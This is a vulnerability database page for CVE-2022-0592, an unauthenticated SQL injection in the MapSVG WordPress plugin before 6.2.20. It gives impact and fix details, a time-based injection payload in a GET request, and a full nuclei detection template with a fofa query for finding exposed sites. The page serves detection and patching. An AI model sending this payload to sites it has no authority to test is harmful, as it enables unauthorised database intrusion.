HexBrain

Browse / CVEs / CVE-2022-0592

CVE-2022-0592· mapsvg / mapsvg· CWE-89

MapSVG < 6.2.20 - Unauthenticated SQLi

criticalseverity
9.8CVSS score
10.2%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

The MapSVG WordPress plugin before 6.2.20 does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.

Impact

Unauthenticated attackers can execute SQL injection via REST API endpoint to extract database contents or execute arbitrary commands, potentially compromising the entire WordPress database.

Fix

Upgrade to MapSVG version 6.2.20 or later.

How to confirm it

Send: GET /wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)--+
Positive when: duration >= 6 and contains(body, "map") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-0592 -u <target>

The full check
id: CVE-2022-0592

info:
  name: MapSVG < 6.2.20 - Unauthenticated SQLi
  author: DhiyaneshDK
  severity: critical
  description: |
    The MapSVG WordPress plugin before 6.2.20 does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.
  impact: |
    Unauthenticated attackers can execute SQL injection via REST API endpoint to extract database contents or execute arbitrary commands, potentially compromising the entire WordPress database.
  remediation: |
    Upgrade to MapSVG version 6.2.20 or later.
  reference:
    - https://wpscan.com/vulnerability/5d8d53ad-dc88-4b50-a292-fc447484c27b/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0592
    cwe-id: CWE-89
    epss-score: 0.10172
    epss-percentile: 0.95698
    cpe: cpe:2.3:a:mapsvg:mapsvg:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mapsvg
    product: mapsvg
    framework: wordpress
    fofa-query: body="/wp-content/plugins/mapsvg/"
  tags: wpscan,cve,cve2022,mapsvg,wordpress,wp,wp-plugin,sqli,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        GET /wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)--+ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'contains(body, "map")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from